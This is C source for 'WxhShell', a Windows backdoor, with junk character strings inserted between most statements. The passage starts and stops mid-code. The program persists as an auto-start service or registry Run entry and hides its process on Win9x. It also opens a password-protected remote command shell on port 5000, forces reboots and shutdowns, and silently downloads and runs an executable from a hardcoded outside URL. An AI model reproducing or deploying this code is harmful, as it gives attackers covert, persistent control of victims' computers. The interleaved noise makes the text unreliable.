S g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =qN2Xg/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b0iSn#$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mc=LP>uoS _zlqtO if (!NtQueryInformationProcess) return 0; 8.F~k~srA C{TA.\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =*p/F if(!hProcess) return 0; o FjIA! %X#zj" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a]Lp? @`\VBW CloseHandle(hProcess); ^u3V
E I*9e]m" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zD?oXs if(hProcess==NULL) return 0; !9 fz(9 P[s8JDqu HMODULE hMod; >S$Z char procName[255]; [+O"<Ua unsigned long cbNeeded; Y*mbjyt[?X (sVi\R if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l5L.5$N ySI~{YVM CloseHandle(hProcess); >2#8B j xYc2 if(strstr(procName,"services")) return 1; // 以服务启动 v[Kxja; Da"j E return 0; // 注册表启动 kdGT{2u } t&?im< Df3rV '/~ // 主模块 ?%H):r int StartWxhshell(LPSTR lpCmdLine) M'_9A { o)'y.-@Q SOCKET wsl; T|tOTk BOOL val=TRUE; |_uaS int port=0; g-Pwp[!qkf struct sockaddr_in door; ^MBm==heL :;t
#\%L/ if(wscfg.ws_autoins) Install(); 'M3">$N v!%5&: c3 port=atoi(lpCmdLine); s@fTj$h \Y{k7^G}A if(port<=0) port=wscfg.ws_port; q{ O% | \%p34K\ WSADATA data; hUm'8)OJ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M?;y\vS?. sdS^e`S if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~xoF6CF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iPrLwheb door.sin_family = AF_INET; n#=o?!_4 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1 `KN]Nt door.sin_port = htons(port); T,$WlK
Wj 57 #6yXQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LzCw+@-umw closesocket(wsl); *s;|T?~i return 1; }cN@[3v } wM|"I^[ xai4pF-? if(listen(wsl,2) == INVALID_SOCKET) { 3
zn W= closesocket(wsl); gsn)Wv$h return 1; f0T,ul, } mJM_2Ab Wxhshell(wsl); lvp8z)G WSACleanup(); YX*Qd$chZ #:d
=)Qj0 return 0; F0690v0mB[ TB;o~>9U } i.:. Y Dnc<sd; // 以NT服务方式启动 #h@J=Ki VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lq"f[-8a2q { 5 B=^v#m DWORD status = 0; F9*g= DWORD specificError = 0xfffffff; 5?Wto4j Y\0}R,]a- serviceStatus.dwServiceType = SERVICE_WIN32; %N#%|2B serviceStatus.dwCurrentState = SERVICE_START_PENDING; Zec <m8~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q%-di= serviceStatus.dwWin32ExitCode = 0;
AO
UL^$& serviceStatus.dwServiceSpecificExitCode = 0; *~/OOH$" serviceStatus.dwCheckPoint = 0;
RDtU43 serviceStatus.dwWaitHint = 0; `|Or{ih LbtX0^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wR{'y)$ if (hServiceStatusHandle==0) return; a[2vjFf#C |T{C,"9y status = GetLastError(); ;us%/kOR if (status!=NO_ERROR) &x >B { Wpc|`e< serviceStatus.dwCurrentState = SERVICE_STOPPED; ujJI
1I serviceStatus.dwCheckPoint = 0; ]!IVz)<E& serviceStatus.dwWaitHint = 0; Pm$q]A~ serviceStatus.dwWin32ExitCode = status; (8ht*b.5K serviceStatus.dwServiceSpecificExitCode = specificError; {hJXj, SetServiceStatus(hServiceStatusHandle, &serviceStatus); @zgdq return; R=Tqj,6 } [ 4;Ii ,<A$h3* serviceStatus.dwCurrentState = SERVICE_RUNNING; *9p |HX= serviceStatus.dwCheckPoint = 0; TT9z_Q5~ serviceStatus.dwWaitHint = 0; /cZ-tSC)o if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^'jEnN( } ;=? ~
-_ D3c2^r$Z // 处理NT服务事件,比如:启动、停止 $#|gLVOQ VOID WINAPI NTServiceHandler(DWORD fdwControl) z]3 `*/B { F]mgmYD% switch(fdwControl) xm6 EKp: { u`(-
- case SERVICE_CONTROL_STOP: zX#%{#9 serviceStatus.dwWin32ExitCode = 0; Jdy=_88MD
serviceStatus.dwCurrentState = SERVICE_STOPPED; H_?o-L?+ serviceStatus.dwCheckPoint = 0; qT/Do?Y serviceStatus.dwWaitHint = 0; P00f6 { e:AHVepj{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); fw; rbP! }
{NJfNu return; Z@gnsPN^r case SERVICE_CONTROL_PAUSE: AfC>Q!-w serviceStatus.dwCurrentState = SERVICE_PAUSED;
EZ% .M*? break; s'2Rs^,hN case SERVICE_CONTROL_CONTINUE: k0&lu B% serviceStatus.dwCurrentState = SERVICE_RUNNING; B3L4F" break; ]O@"\_} case SERVICE_CONTROL_INTERROGATE: 2bA#D%PHD break; y1(P<7:t? }; aV|k}H{wt SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ v1W } R#6H'TVE ~u/@rqF // 标准应用程序主函数 r>3^kL5UI int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ul}'{|4 { 1KJZWZy Dt {') // 获取操作系统版本 !`C?nY OsIsNt=GetOsVer();
<qn, GetModuleFileName(NULL,ExeFile,MAX_PATH); ^('cbl 2NR7V*A // 从命令行安装 %1jdiHTaL if(strpbrk(lpCmdLine,"iI")) Install(); ^uBwj}6 !"(u_dFw // 下载执行文件 Dm4B if(wscfg.ws_downexe) { T 'i~_R6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] piM/v\ WinExec(wscfg.ws_filenam,SW_HIDE); -h9#G{2W[ } Y2vj}9jK ] xb]8] if(!OsIsNt) { TH<fbd // 如果时win9x,隐藏进程并且设置为注册表启动 K2*1T+?X HideProc(); /%62X{=>; StartWxhshell(lpCmdLine); CdDH1[J } $4DFgvy$ else "!xvpsy if(StartFromService()) :-w@^mli // 以服务方式启动 l8er$8S} StartServiceCtrlDispatcher(DispatchTable); &}>|5>cJu else -T 2~W! // 普通方式启动 _t$lcOT StartWxhshell(lpCmdLine); aZ I>x^X I0I_vu return 0; 6
M*b 6 } `@4 2jG}* P)Z/JHB |.y>[+Qb*
A(q~{ =========================================== W"W@WG9X0 4Sg<r,G mG>T`c|r3 yQ<6p3 B1x'5S;Bq n"XdHW0 " L.SDM z P=f<#l"v #include <stdio.h> PZKbnu #include <string.h> *d^9,GGn- #include <windows.h> 7YMxr3F #include <winsock2.h> aw%>YrJ #include <winsvc.h> DfAiL( #include <urlmon.h> }UyzMy, @:S$|D~ #pragma comment (lib, "Ws2_32.lib") lf?Z{^ #pragma comment (lib, "urlmon.lib") \B*k_W/r@ (nkUeQQN #define MAX_USER 100 // 最大客户端连接数 O4lxeiRgC #define BUF_SOCK 200 // sock buffer ~+nS)4( #define KEY_BUFF 255 // 输入 buffer j09mI$2y67 B$K7L'e+- #define REBOOT 0 // 重启 sqm%iyC=q #define SHUTDOWN 1 // 关机 jD&}}:Dj a(Gk~vD;" #define DEF_PORT 5000 // 监听端口 "uV0Oj9: n r'YWW #define REG_LEN 16 // 注册表键长度 w\0Oz?N #define SVC_LEN 80 // NT服务名长度 cHqvkN` ]pM5?^<~ // 从dll定义API TE*> a5C| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LM'*OtpDG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Szgph"ul typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y1@"H/nYJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &lXx0"-$ Ymrpf // wxhshell配置信息 F1Zk9%L%9$ struct WSCFG { `4"y#Z int ws_port; // 监听端口 o
m{n"cg char ws_passstr[REG_LEN]; // 口令 EkfGw/WDw int ws_autoins; // 安装标记, 1=yes 0=no ;-<<1Jz/2 char ws_regname[REG_LEN]; // 注册表键名 &gKP6ANx2 char ws_svcname[REG_LEN]; // 服务名 1*c0\:BQ;z char ws_svcdisp[SVC_LEN]; // 服务显示名 Ggxrj'r char ws_svcdesc[SVC_LEN]; // 服务描述信息 EmBfiuX char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e>)}_b int ws_downexe; // 下载执行标记, 1=yes 0=no {ra Esb-X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @BB,i / char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `*uuB; IdC k }; |Ls&~'ik -Z\UYt // default Wxhshell configuration \fQgiX struct WSCFG wscfg={DEF_PORT, $fU/9jTa "xuhuanlingzhe", 9X^-)G> 1, *$WiJ3'(m "Wxhshell", HzO0K=Z=R0 "Wxhshell", ZRVF{D??"% "WxhShell Service", {?h6*>-^Z "Wrsky Windows CmdShell Service", !O%f)v? "Please Input Your Password: ", Wpg?%+Y 1, lw/
m0}it "http://www.wrsky.com/wxhshell.exe", T_;G))q' "Wxhshell.exe" 5]2!Bb6> }; ,2:L{8_L ht[TMdV // 消息定义模块 ?M1 QJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1{uDHB char *msg_ws_prompt="\n\r? for help\n\r#>"; 2Dwt4V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HDfQ9__ char *msg_ws_ext="\n\rExit."; zs]>XO~Jg char *msg_ws_end="\n\rQuit."; \)6?u_(u char *msg_ws_boot="\n\rReboot..."; *b 7
^s,? char *msg_ws_poff="\n\rShutdown..."; ^_#gIT\ char *msg_ws_down="\n\rSave to "; _o=`-iy9 HN&vk/[ char *msg_ws_err="\n\rErr!"; "N[gMp6U char *msg_ws_ok="\n\rOK!"; a1Y _0 f@V{}&ZWp char ExeFile[MAX_PATH]; .q& ]wu int nUser = 0; e715)_HD HANDLE handles[MAX_USER]; EXM/>PG int OsIsNt; rq|czQ mm9S#Ya SERVICE_STATUS serviceStatus; 5;KT-(q~ SERVICE_STATUS_HANDLE hServiceStatusHandle; {10+(Vl y`P7LC // 函数声明 E4fvYV_ra int Install(void); w `9GygS int Uninstall(void); ;U:o'9^9T int DownloadFile(char *sURL, SOCKET wsh); XajY'+DIsz int Boot(int flag); l9Cy30O6 void HideProc(void); w})&[d int GetOsVer(void); 9$w)_RX9W int Wxhshell(SOCKET wsl); ]KII?{<k void TalkWithClient(void *cs); fJN9+l int CmdShell(SOCKET sock); t"@|;uPAu int StartFromService(void); 'bqf?3W int StartWxhshell(LPSTR lpCmdLine); 3 mMdq*X5 WlJRKM2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |r*1.V( VOID WINAPI NTServiceHandler( DWORD fdwControl ); %4g4 C# gM/_:+bT>P // 数据结构和表定义 ViC76aJ SERVICE_TABLE_ENTRY DispatchTable[] = Boz_*l| { mgl'
d {wscfg.ws_svcname, NTServiceMain}, xuC6EK+ {NULL, NULL} \VzQ1B>k }; =:T:9Y_ i :zTj"P>"I // 自我安装 +/^q"/f F int Install(void) JSP8Lu"n { =$`")3y3 char svExeFile[MAX_PATH]; $TUC?e9"h HKEY key; NxRiEe#m strcpy(svExeFile,ExeFile); -^%"w hYQ%|CBXBR // 如果是win9x系统,修改注册表设为自启动 fN/KXdAy& if(!OsIsNt) { Z-=7QK.\{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A^jm<~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _J#Hq 'K RegCloseKey(key); o`]FH_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 206jeH9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1;sAt;/W8 RegCloseKey(key); gnK!"!nL return 0; 7
@Qlp$[F } cnO4NUDv } ^,r;/c9A8 } X%qR6mMfT7 else { B3=/iOb# Fgq*3t // 如果是NT以上系统,安装为系统服务 , 0ja _ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O-m}P if (schSCManager!=0) %=>xzP(z { 0L-g'^nn SC_HANDLE schService = CreateService "s^@PzQpN ( f\_Q+!^ schSCManager, 0To
5|r wscfg.ws_svcname, 9Ei#t FMc wscfg.ws_svcdisp, Z@Z`8M@Q, SERVICE_ALL_ACCESS, 0|k[Wha# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $G.|5sEk SERVICE_AUTO_START, *)sz]g|d SERVICE_ERROR_NORMAL, D($UbT-v svExeFile, !KW)* NULL, uZI:Kt# NULL, FC.-u"V NULL, X0L{#U NULL, JG$J,!.\ NULL oMf h|B ); ;\0RXirk if (schService!=0) uvd> { H*<dte< CloseServiceHandle(schService); mjc:0hH CloseServiceHandle(schSCManager); M#,+p8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QR8Q10 strcat(svExeFile,wscfg.ws_svcname); eeZ9 w~< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~|]\.^B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x/v+7Pt_ RegCloseKey(key); < duM8 return 0; _3JTHf<+ } 2sq<"TlQXI } J>|` CloseServiceHandle(schSCManager); fR{7780WZ } z81!F'x; } Q4 S8NqE 53xq% return 1; YkbLf#2AE| } \|s/_35( W;yZ$k#q}( // 自我卸载 HX^
P9jXT int Uninstall(void) 7?@v}%w { j$Co-b1 HKEY key; ' JVvL 6UTdy1Qq> if(!OsIsNt) { T9yW# . if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X[}%iEWzT RegDeleteValue(key,wscfg.ws_regname); > ^}z RegCloseKey(key); r6<}S( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cgAcAcmY RegDeleteValue(key,wscfg.ws_regname); $Vh82Id^ RegCloseKey(key); oUqNA|l
T return 0; A8?>V%b[Y } VC@o]t5 } )`)cB)s } AQ&;y&+QR else { 9}=Fdt e:#\Oh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GM5::M]fS if (schSCManager!=0) A[oRi}= { y~\z_') <> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W<2-Q,>Y if (schService!=0) TM+7>a$ { xn-n{U" if(DeleteService(schService)!=0) { }\@*A1*X2 CloseServiceHandle(schService); ~HELMS~- CloseServiceHandle(schSCManager); V\
|b#?KL return 0; 7}Gy%SJ` } #q\C"N5ip CloseServiceHandle(schService); g
{00i } pCq{F*; CloseServiceHandle(schSCManager); 'F@'4[uda } 76
y}1aa } "Kqe4$ (qaY,>je]D return 1; Zffzyh } X0m\
P^
a$? // 从指定url下载文件 TY?Fs- int DownloadFile(char *sURL, SOCKET wsh) p%}oo#%J { qLR)>$ HRESULT hr; 3+)i23[4=\ char seps[]= "/"; t({:TQ char *token; C&Rv)j char *file; x{=ty*E char myURL[MAX_PATH]; B$fL);l- char myFILE[MAX_PATH]; k'm!| )#1@@\< ^T strcpy(myURL,sURL); P?>p+dM token=strtok(myURL,seps); Gv<K#@9T while(token!=NULL) 3o z] { [z?<'Tj file=token; #SO9e.yhI token=strtok(NULL,seps); SA'
zy45 } -\>Xtix^-c +YP,LDJ!v GetCurrentDirectory(MAX_PATH,myFILE); zE<}_nA strcat(myFILE, "\\"); (}'0K? strcat(myFILE, file); `a]
/e send(wsh,myFILE,strlen(myFILE),0); 18F7;d N8 send(wsh,"...",3,0); =YI<L8@g~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wL~
dZ!,J if(hr==S_OK) pm^[ve return 0; @zE_fL else h" j{B return 1; !uHX2B+~ WG9x_X&XJ } k{uc%6s UL(#B TK // 系统电源模块 TTS}, ` int Boot(int flag) jytfGE: { >wZ!1Jq HANDLE hToken; e:&5Cvx TOKEN_PRIVILEGES tkp; p,U.5bX {R\ "x| if(OsIsNt) { Jgb{Tl:r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;4%^4<+3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cSQvP. tkp.PrivilegeCount = 1; %*zgN[/w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qHklu2_% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s@Y0"
if(flag==REBOOT) { hK?uGt
d? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >tYptRP return 0; Busxg?= } ^I@43Jy/ else { %3|0_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X^7bOFWE return 0; wYPJji
D } Sm{idky)[ } b1R%JY7/S else { H4MFTnJ{ if(flag==REBOOT) { Yc&yv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _}8O15B| return 0; NN>,dd3T } "o+<
\B~ else { 4,`Yx s)% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tm
6<^5t return 0; aTxss:7] } ?Bno?\ } ~K 5eO- P|Dw+lQj return 1; WnyEdYA } nRzD[3I qk<(iVUO // win9x进程隐藏模块 bx#GOK- void HideProc(void) :<r.n
" { 40w,:$ |#^wYZO1U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4V@raI- if ( hKernel != NULL ) MqDz cB] { P-o/ax pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;'~U5Po8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9)9p<(b$ FreeLibrary(hKernel); mnh>gl!l } roSdcQTeT OGpy\0% return; P MV;A{T } M=:!d$c
Wn6~x2 LaV // 获取操作系统版本 gG*]|>M JI int GetOsVer(void) jM]B\cvN { a~ sU OSVERSIONINFO winfo; -}#=L@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t.Q}V5t{g GetVersionEx(&winfo); Fjch<gAofS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (cAWT, return 1; -!V+>.Oh else 5-qk"@E W return 0; q$RJ3{Sf } B?n
6o|8 HEh,Cf7`' // 客户端句柄模块 tQ~vLPi$ int Wxhshell(SOCKET wsl) uy'm2 { .\)`Xj[? SOCKET wsh; 5^lFksZ struct sockaddr_in client; l Oxz&m DWORD myID; J,q6 @N+ }cej while(nUser<MAX_USER) <5@VFRjc { y#tuwzE int nSize=sizeof(client); u*}[fQ`aF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T<XGG_NOl if(wsh==INVALID_SOCKET) return 1; <KY \sb9 C.]\ 4e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NSs"I] if(handles[nUser]==0) WX~:Y,l+u closesocket(wsh); nUb0R~wr$G else 0SS,fs<w3 nUser++; a9LK}xc={ } C?dQ
QB$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /Uxp5 b h ~V34j: return 0; vNWCv } XS#Jy
n oyw*Z_ 9~ // 关闭 socket iEx
sGn]2 void CloseIt(SOCKET wsh) 4C:-1gu7 { bqPaXH
n closesocket(wsh); FT'2J nUser--; :<}1as!eo ExitThread(0); 1 sJtkge: } K%jh6c8 t_xO-fT) // 客户端请求句柄 3[{RH*nHD void TalkWithClient(void *cs) +jD*Jtb< { sOVbz2\yb }R&5Ye SOCKET wsh=(SOCKET)cs; 'v^Zterr char pwd[SVC_LEN]; !#[B#DZc( char cmd[KEY_BUFF]; I@/s&$H`l char chr[1]; y@Gl'@-O int i,j; Qr.SPNUFK 1ze\ U> while (nUser < MAX_USER) { QH5[}zs8 (_0r'{` if(wscfg.ws_passstr) { !+EE*-c1c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *`]#ntz9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8pXului //ZeroMemory(pwd,KEY_BUFF); F[@M? i=0; %|izt/B while(i<SVC_LEN) { < C1Jim 1CmjEAv%/ // 设置超时 Ss~yy0 fd_set FdRead; (O!Q[WLS struct timeval TimeOut; EP'I FD_ZERO(&FdRead); x{_3/4 FD_SET(wsh,&FdRead); w7E7r?)Wl| TimeOut.tv_sec=8; ^'G,sZ6'Nh TimeOut.tv_usec=0; z)_h"y?H{% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~PZIYG"D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^[g7B"`K5 c'}dsq\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ExxD
w_VGT pwd=chr[0]; &:?2IAe if(chr[0]==0xd || chr[0]==0xa) { yx\I&\i pwd=0; y#iQ break; V;IV2HT0J" } /%{Qf i++; (:r80: } eqQ=HT7J xH4Qv[k
Q7 // 如果是非法用户,关闭 socket ^rh{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (x!Tb2mlk } M"\j7( YIn
H8Ex send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B,(zp#&yB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xgq
`l# 6k+4R< while(1) { ^~DDl$NH IBm"VCg{Ew ZeroMemory(cmd,KEY_BUFF); a+=.(g HP(dhsd<c // 自动支持客户端 telnet标准 OzA'd\| j=0; ,SG-{ while(j<KEY_BUFF) { $d\>^Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E(-@F%Q cmd[j]=chr[0]; UAEu.AT if(chr[0]==0xa || chr[0]==0xd) { ! _p(H cmd[j]=0; 13aj fH break; yFY:D2 } )8&;Q9'o j++; .C\## } ZwOX ,D $_f"NE} // 下载文件 B1i&HoGbz if(strstr(cmd,"http://")) { O6"S=o& send(wsh,msg_ws_down,strlen(msg_ws_down),0); /C
if(DownloadFile(cmd,wsh)) gZ@z}CIw' send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ph<V,lg else d6f+[<< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FH)_L1n } bae\EaS
? else { ]x5+v0 4A)@,t9+ switch(cmd[0]) { F[)5A5+:Y :^rt8>~ // 帮助 N;S1s0FN case '?': { v2jpao<K send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B+2EIaI break; .R]DT5 } 6~^ M<E // 安装 ''Hx& case 'i': { g[Q+DT if(Install()) "'74GY8, send(wsh,msg_ws_err,strlen(msg_ws_err),0); I=2b)"t0 else CB^.N>' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tfp^h~&u break; `8/D$ } 26ae|2?
// 卸载 ipC
<p?PpR case 'r': { fj97_Q= if(Uninstall()) Y/ I32@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4n} a%ocv^ else z:@:B:E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0|J_'-< break; 7YR|6{@ } n_3R Q6 // 显示 wxhshell 所在路径 DzQ case 'p': { Zk`yd8C char svExeFile[MAX_PATH]; Fs].Fa strcpy(svExeFile,"\n\r"); GB35o uE strcat(svExeFile,ExeFile); DU0/if9. send(wsh,svExeFile,strlen(svExeFile),0); !?(7g2NP) break; }f]Y^>-Ux } wD=]U@t`, // 重启 pF4Z4?W case 'b': { M
`^[Y2 c send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h%krA<G9 if(Boot(REBOOT)) $KT)Kz8tF send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%c>Hh else { Kwm_Y5`A closesocket(wsh); _Wk*h}x ExitThread(0); 5F
^VvzNn } /Yg&:@L break; ;y1/b(t } +w?R4Sxjn // 关机 v*dw'i case 'd': { {i8zM6eC send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xxd]j] if(Boot(SHUTDOWN)) |KS,k|). send(wsh,msg_ws_err,strlen(msg_ws_err),0); GPL%8 YY else { c>>.>^5 closesocket(wsh); GQCdB> ExitThread(0); ysp`(n= } Za3}:7`Gu break; 'x"(OdM:[ } Sx e6& // 获取shell dY~z6bT case 's': { |K-` CmdShell(wsh);
#C?M- closesocket(wsh); A%$~ ExitThread(0); 2E!~RjxSY break; |m
?ZE: } Q%d1n*;+ // 退出 x(eX.>o\ case 'x': { /"u37f?[^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h"0)spF"d CloseIt(wsh); *0eU_*A^zO break; 1,bE[_ } \#I$H9O // 离开 aVc{ aP case 'q': { rZaO^}u] send(wsh,msg_ws_end,strlen(msg_ws_end),0); b"N!#&O |